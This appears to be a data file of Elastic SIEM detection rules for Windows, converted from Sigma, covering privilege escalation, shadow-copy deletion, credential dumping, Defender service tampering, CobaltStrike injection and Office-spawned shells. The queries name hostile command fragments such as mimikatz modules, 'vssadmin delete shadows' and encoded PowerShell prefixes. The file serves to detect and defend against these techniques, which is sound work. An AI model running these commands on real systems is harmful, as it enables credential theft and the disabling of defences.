{"description":"Detects a suspicious printer driver installation with an empty Manufacturer value Author: Florian Roth. License: ","enabled":false,"false_positives":["Alerts on legitimate printer drivers that do not set any more details in the Manufacturer value"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c09d2d66-a96b-fdf1-8c18-cb584b6e31b0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Printer Driver Empty Manufacturer","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Control\\\\Print\\\\Environments\\\\Windows\\ x64\\\\Drivers* AND winlog.event_data.TargetObject:*\\\\Manufacturer* AND winlog.event_data.Details:\"\$Empty\$\") AND (NOT ((winlog.event_data.TargetObject:*\\\\CutePDF\\ Writer\\ v4.0\\\\*))))","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato) Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e9142d84-fbe0-401d-ac50-3e519fb00c89","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"WhoAmI as Parameter","query":"process.command_line:*.exe\\ whoami*","meta":{"from":"1m"},"severity":"high","tags":["T1033"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1033","name":"System Owner/User Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter) Author: Florian Roth (rule), David ANDRE (additional keywords). License: ","enabled":false,"false_positives":["Administrative activity","Scripts and administrative tools used in the monitored environment","Monitoring activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"af255999-124e-2ea9-8fe1-15d5da644c28","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious SYSTEM User Process Creation","query":"((IntegrityLevel:\"System\" AND user.name:(*AUTHORI* OR *AUTORI*)) AND (process.executable:(*\\\\calc.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\hh.exe OR *\\\\mshta.exe OR *\\\\forfiles.exe OR *\\\\ping.exe) OR process.command_line:(*sc\\ stop\\ * OR *\\ \\-NoP\\ * OR *\\ \\-W\\ Hidden\\ * OR *\\ \\-decode\\ * OR *\\ \\/decode\\ * OR *\\ \\/urlcache\\ * OR *\\ \\-urlcache\\ * OR *\\ \\-e*\\ JAB* OR *\\ \\-e*\\ SUVYI* OR *\\ \\-e*\\ SQBFAFgA* OR *\\ \\-e*\\ aWV4I* OR *\\ \\-e*\\ IAB* OR *\\ \\-e*\\ PAA* OR *\\ \\-e*\\ aQBlAHgA* OR *vssadmin\\ delete\\ shadows* OR *reg\\ SAVE\\ HKLM* OR *\\ \\-ma\\ * OR *Microsoft\\\\Windows\\\\CurrentVersion\\\\Run* OR *.downloadstring\\(* OR *.downloadfile\\(* OR *\\ \\/ticket\\:* OR *dpapi\\:\\:* OR *event\\:\\:clear* OR *event\\:\\:drop* OR *id\\:\\:modify* OR *kerberos\\:\\:* OR *lsadump\\:\\:* OR *misc\\:\\:* OR *privilege\\:\\:* OR *rpc\\:\\:* OR *sekurlsa\\:\\:* OR *sid\\:\\:* OR *token\\:\\:* OR *vault\\:\\:cred* OR *vault\\:\\:list* OR *\\ p\\:\\:d\\ * OR *;iex\\(* OR *MiniDump* OR *net\\ user\\ *)))","meta":{"from":"1m"},"severity":"high","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects a suspicious process pattern found in CVE-2021-40444 exploitation Author: @neonprimetime, Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c32f0dd5-5832-1040-5582-d69407c9abdf","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"CVE-2021-40444 Process Pattern","query":"((process.executable:*\\\\control.exe AND process.parent.executable:(*\\\\winword.exe OR *\\\\powerpnt.exe OR *\\\\excel.exe)) AND (NOT (process.command_line:*\\\\control.exe\\ input.dll)))","meta":{"from":"1m"},"severity":"critical","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious process pattern which could be a sign of an exploited Serv-U service Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate uses in which users or programs use the SSH service of Serv-U for remote command execution"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"58f4ea09-0fc2-4520-ba18-b85c540b0eaf","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Suspicious Serv-U Process Pattern","query":"(process.parent.executable:*\\\\Serv\\-U.exe AND process.executable:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\sh.exe OR *\\\\bash.exe OR *\\\\schtasks.exe OR *\\\\regsvr32.exe OR *\\\\wmic.exe OR *\\\\mshta.exe OR *\\\\rundll32.exe OR *\\\\msiexec.exe OR *\\\\forfiles.exe OR *\\\\scriptrunner.exe))","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1555"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1555","name":"Credentials from Password Stores","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious program execution in a web service root folder (filter out false positives) Author: Florian Roth. License: ","enabled":false,"false_positives":["Various applications","Tools that include ping or nslookup command invocations"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"35efb964-e6a5-47ad-bbcd-19661854018d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Execution in Webserver Root Folder","query":"(process.executable:(*\\\\wwwroot\\\\* OR *\\\\wmpub\\\\* OR *\\\\htdocs\\\\*) AND (NOT (process.executable:(*bin\\\\* OR *\\\\Tools\\\\* OR *\\\\SMSComponent\\\\*) AND process.parent.executable:*\\\\services.exe)))","meta":{"from":"1m"},"severity":"medium","tags":["T1505"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1505","name":"Server Software Component","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious program execution in Outlook temp folder Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a018fdc3-46a3-44e5-9afb-2cd4af1d4b39","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Execution in Outlook Temp Folder","query":"process.executable:*\\\\Temporary\\ Internet\\ Files\\\\Content.Outlook\\\\*","meta":{"from":"1m"},"severity":"high","tags":["Initial Access","T1566"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1566","name":"Phishing","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious RDP session redirect using tscon.exe Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f72aa3e8-49f9-4c7d-bd74-f8ab84ff9bbb","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious RDP Redirect Using TSCON","query":"process.command_line:*\\ \\/dest\\:rdp\\-tcp\\:*","meta":{"from":"1m"},"severity":"high","tags":["Lateral Movement","T1021","T1563"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1021","name":"Remote Services","reference":""},{"id":"T1563","name":"Remote Service Session Hijacking","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious reg.exe invocation that looks as if it would disable an important security service Author: Florian Roth, John Lambert (idea). License: ","enabled":false,"false_positives":["Unknown","Other security solution installers"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a372f3bc-ff8d-0cbe-1253-3d9cc84e7803","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Reg Disable Security Service","query":"(process.command_line:*reg* AND process.command_line:*add* AND process.command_line:*\\ \\/d\\ 4* AND process.command_line:*\\ \\/v\\ Start* AND process.command_line:(*\\\\Sense\\ * OR *\\\\WinDefend* OR *\\\\MsMpSvc* OR *\\\\NisSrv* OR *\\\\WdBoot\\ * OR *\\\\WdNisDrv* OR *\\\\WdNisSvc* OR *\\\\wscsvc\\ * OR *\\\\SecurityHealthService* OR *\\\\wuauserv* OR *\\\\UsoSvc\\ *))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious script executions from temporary folder Author: Florian Roth, Max Altgelt. License: ","enabled":false,"false_positives":["Administrative scripts"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d645772a-2a7d-dad8-4a8a-6d2e0169ea8e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Script Execution From Temp Folder","query":"((process.executable:(*\\\\powershell.exe OR *\\\\mshta.exe OR *\\\\wscript.exe OR *\\\\cscript.exe) AND process.command_line:(*\\\\Windows\\\\Temp* OR *\\\\Temporary\\ Internet* OR *\\\\AppData\\\\Local\\\\Temp* OR *\\\\AppData\\\\Roaming\\\\Temp* OR *%TEMP%* OR *%TMP%* OR *%LocalAppData%\\\\Temp*)) AND (NOT (process.command_line:(*\\ >* OR *Out\\-File* OR *ConvertTo\\-Json* OR *\\-WindowStyle\\ hidden\\ \\-Verb\\ runAs*))))","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious script executions in temporary folders or folders accessible by environment variables Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3b288aa8-106d-568e-f3d5-5c152d73b378","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Script Interpreter Execution From Suspicious Folder","query":"((process.executable:(*\\\\powershell.exe OR *\\\\mshta.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\cmd.exe) OR process.command_line:(*\\ \\-w\\ hidden\\ * OR *\\ \\-ep\\ bypass\\ * OR *\\/e\\:vbscript\\ * OR *\\/e\\:javascript\\ *) OR winlog.event_data.OriginalFileName:(\"powershell.exe\" OR \"mshta.exe\" OR \"wscript.exe\" OR \"cscript.exe\" OR \"cmd.exe\")) AND process.executable:(*\\\\Windows\\\\Temp* OR *\\\\Temporary\\ Internet* OR *\\\\AppData\\\\Local\\\\Temp* OR *\\\\AppData\\\\Roaming\\\\Temp* OR *C\\:\\\\Users\\\\Public\\\\* OR *C\\:\\\\Perflogs\\\\*))","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious svchost process start Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8ab320a3-8c18-b525-ec9e-9852035b6284","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Svchost Process","query":"(process.executable:*\\\\svchost.exe AND (NOT ((process.parent.executable:(*\\\\services.exe OR *\\\\MsMpEng.exe OR *\\\\Mrt.exe OR *\\\\rpcnet.exe OR *\\\\svchost.exe OR *\\\\ngen.exe OR *\\\\TiWorker.exe)) OR (NOT _exists_:process.parent.executable) OR (process.parent.executable:\"\") OR (process.parent.executable:\"\\-\"))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious winrar execution in a folder which is not the default installation folder Author: Florian Roth, Tigzy. License: ","enabled":false,"false_positives":["Legitimate use of WinRAR in a folder of a software that bundles WinRAR"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4ede543c-e098-43d9-a28f-dd784a13132f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Winrar Execution in Non-Standard Folder","query":"((process.executable:(*\\\\rar.exe OR *\\\\winrar.exe) OR winlog.event_data.Description:\"Command\\ line\\ RAR\") AND (NOT (process.executable:(*\\\\WinRAR* OR *C\\:\\\\Windows\\\\Temp* OR *\\\\UnRAR.exe*))))","meta":{"from":"1m"},"severity":"high","tags":["T1560"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1560","name":"Archive Collected Data","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious winrar execution that involves a file with a .dmp extension, which could be a step in a process of dump file exfiltration Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate use of WinRAR with a command line in which .dmp appears incidentally"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1ac14d38-3dfc-4635-92c7-e3fd1c5f5bfc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Winrar Compressing Dump Files","query":"((process.executable:(*\\\\rar.exe OR *\\\\winrar.exe) OR winlog.event_data.Description:\"Command\\ line\\ RAR\") AND process.command_line:\".dmp\")","meta":{"from":"1m"},"severity":"high","tags":["T1560"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1560","name":"Archive Collected Data","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network and loading it for a WMI DLL Hijack scenario. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b21786cc-b989-5b21-edf6-1d764852e7de","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Wmiprvse Wbemcomn DLL Hijack","query":"(process.executable:\"System\" AND file.path:*\\\\wbem\\\\wbemcomn.dll)","meta":{"from":"1m"},"severity":"critical","tags":["Lateral Movement","T1021","T1047"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""}]},{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1021","name":"Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a tscon.exe start as LOCAL SYSTEM Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9847f263-4a81-424f-970c-875dab15b79b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious TSCON Start as SYSTEM","query":"(user.name:(NT\\ AUTHORITY\\\\SYSTEM* OR AUTORITE\\ NT\\\\Sys*) AND process.executable:*\\\\tscon.exe)","meta":{"from":"1m"},"severity":"high","tags":["T1219"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects a typical pattern of a CobaltStrike BOF which inject into other processes Author: Christian Burkard. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"46a0b6b3-7989-c7ca-8fac-e4d12e4b0f52","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"CobaltStrike BOF Injection Pattern","query":"(winlog.event_data.CallTrace:/^C:\\\\\\\\Windows\\\\\\\\SYSTEM32\\\\\\\\ntdll\\\\.dll\\+[a-z0-9]{4,6}\\|C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\KERNELBASE\\\\.dll\\+[a-z0-9]{4,6}\\|UNKNOWN\$[A-Z0-9]{16}\$$/ AND winlog.event_data.GrantedAccess:(\"0x1028\" OR \"0x1fffff\"))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1106","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1106","name":"Native API","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a usage of the manage-bde.wsf script that may indicate an attempt of proxy execution from script Author: oscd.community, Natalia Shornikova. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c363385c-f75d-4753-a108-c1a8e28bdbda","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Usage of the Manage-bde.wsf Script","query":"(process.command_line:*cscript* AND process.command_line:*manage\\-bde.wsf*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1216"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1216","name":"Signed Script Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a when net.exe is called with a password in the command line Author: Tim Shelton (HAWK.IO). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d4498716-1d52-438f-8084-4a603157d131","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Password Provided In Command Line Of Net.exe","query":"((process.executable:\"C\\:\\\\Windows\\\\System32\\\\net.exe\" AND process.command_line:*net* AND process.command_line:*\\ use\\ * AND process.command_line:*\\:*\\\\\\* AND process.command_line:*\\/USER\\:*\\ *) AND (NOT ((process.command_line:*\\ ))))","meta":{"from":"1m"},"severity":"medium","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects a whoami.exe executed by LOCAL SYSTEM. This may be a sign of a successful local privilege escalation. Author: Teymur Kheirkhabarov, Florian Roth. License: ","enabled":false,"false_positives":["Possible name overlap with NT AUHTORITY substring to cover all languages"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f331fd13-c398-43c3-5483-999fb8b2ff06","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Run Whoami as SYSTEM","query":"(user.name:(*AUTHORI* OR *AUTORI*) AND process.executable:*\\\\whoami.exe)","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1033"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1033","name":"System Owner/User Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a whoami.exe executed by privileged accounts that are often misused by threat actors Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"95145ed4-77f1-2572-4d5d-7976f51f5fad","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Run Whoami as Privileged User","query":"(user.name:*TrustedInstaller* AND process.executable:*\\\\whoami.exe)","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1033"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1033","name":"System Owner/User Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privieleges. This is often used after a privilege escalation attempt. Author: Florian Roth. License: ","enabled":false,"false_positives":["Administrative activity (rare lookups on current privileges)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"399a07bb-104f-c8e0-b864-ee4a09660df8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Run Whoami Showing Privileges","query":"(process.executable:*\\\\whoami.exe AND process.command_line:*\\/priv*)","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1033"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1033","name":"System Owner/User Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a Windows command and scripting interpreter executable started from Microsoft Word, Excel, Powerpoint, Publisher and Visio Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"438025f9-5856-4663-83f7-52f878a70a50","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Microsoft Office Product Spawning Windows Shell","query":"(process.parent.executable:(*\\\\WINWORD.EXE OR *\\\\EXCEL.EXE OR *\\\\POWERPNT.exe OR *\\\\MSPUB.exe OR *\\\\VISIO.exe OR *\\\\OUTLOOK.EXE OR *\\\\MSACCESS.EXE OR *\\\\EQNEDT32.EXE) AND process.executable:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\sh.exe OR *\\\\bash.exe OR *\\\\scrcons.exe OR *\\\\schtasks.exe OR *\\\\regsvr32.exe OR *\\\\hh.exe OR *\\\\wmic.exe OR *\\\\mshta.exe OR *\\\\rundll32.exe OR *\\\\msiexec.exe OR *\\\\forfiles.exe OR *\\\\scriptrunner.exe OR *\\\\mftrace.exe OR *\\\\AppVLP.exe OR *\\\\svchost.exe OR *\\\\msbuild.exe))","meta":{"from":"1m"},"severity":"high","tags":["T1204"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1204","name":"User Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a Windows command line executable started from MMC Author: Karneades, Swisscom CSIRT. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"05a2ab7e-ce11-4b63-86db-ab32e763e11d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"MMC Spawning Windows Shell","query":"(process.parent.executable:*\\\\mmc.exe AND (process.executable:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\sh.exe OR *\\\\bash.exe OR *\\\\reg.exe OR *\\\\regsvr32.exe) OR process.executable:*\\\\BITSADMIN*))","meta":{"from":"1m"},"severity":"high","tags":["Lateral Movement","T1021"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1021","name":"Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a Windows command line executable started from MSHTA Author: Michael Haag. License: ","enabled":false,"false_positives":["Printer software / driver installations","HP software"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3f0082b9-5311-eee5-bfc2-1be68ae4124d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"MSHTA Spawning Windows Shell","query":"(process.parent.executable:*\\\\mshta.exe AND (process.executable:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\sh.exe OR *\\\\bash.exe OR *\\\\reg.exe OR *\\\\regsvr32.exe) OR process.executable:*\\\\BITSADMIN*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a Windows program executable started in a suspicious folder Author: Florian Roth, Patrick Bareiss, Anton Kutepov, oscd.community. License: ","enabled":false,"false_positives":["Exotic software"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e4a6b256-3e47-40fc-89d2-7a477edd6915","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"System File Execution Location Anomaly","query":"(process.executable:(*\\\\svchost.exe OR *\\\\rundll32.exe OR *\\\\services.exe OR *\\\\powershell.exe OR *\\\\regsvr32.exe OR *\\\\spoolsv.exe OR *\\\\lsass.exe OR *\\\\smss.exe OR *\\\\csrss.exe OR *\\\\conhost.exe OR *\\\\wininit.exe OR *\\\\lsm.exe OR *\\\\winlogon.exe OR *\\\\explorer.exe OR *\\\\taskhost.exe OR *\\\\Taskmgr.exe OR *\\\\sihost.exe OR *\\\\RuntimeBroker.exe OR *\\\\smartscreen.exe OR *\\\\dllhost.exe OR *\\\\audiodg.exe OR *\\\\wlanext.exe) AND (NOT (process.executable:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\system32\\\\* OR C\\:\\\\Windows\\\\SysWow64\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\* OR C\\:\\\\Windows\\\\winsxs\\\\* OR C\\:\\\\Windows\\\\WinSxS\\\\* OR C\\:\\\\avast\\!\\ sandbox*) OR process.executable:*\\\\SystemRoot\\\\System32\\\\* OR process.executable:\"C\\:\\\\Windows\\\\explorer.exe\")))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a windows service to be stopped Author: Jakob Weinzettl, oscd.community. License: ","enabled":false,"false_positives":["Administrator shutting down the service due to upgrade or removal purposes"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"eb87818d-db5d-49cc-a987-d5da331fbd90","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Stop Windows Service","query":"((process.executable:(*\\\\sc.exe OR *\\\\net.exe OR *\\\\net1.exe) AND process.command_line:*stop*) AND (NOT (process.command_line:\"sc\\ \\ stop\\ KSCWebConsoleMessageQueue\" AND user.name:(NT\\ AUTHORITY\\\\SYSTEM* OR AUTORITE\\ NT\\\\Sys*))))","meta":{"from":"1m"},"severity":"low","tags":["T1489"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1489","name":"Service Stop","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a WMI backdoor in Exchange Transport Agents via WMI event filters Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7fdf3d0d-f864-cb8b-40de-c001dc917bb7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"WMI Backdoor Exchange Transport Agent","query":"process.parent.executable:*\\\\EdgeTransport.exe","meta":{"from":"1m"},"severity":"critical","tags":["T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
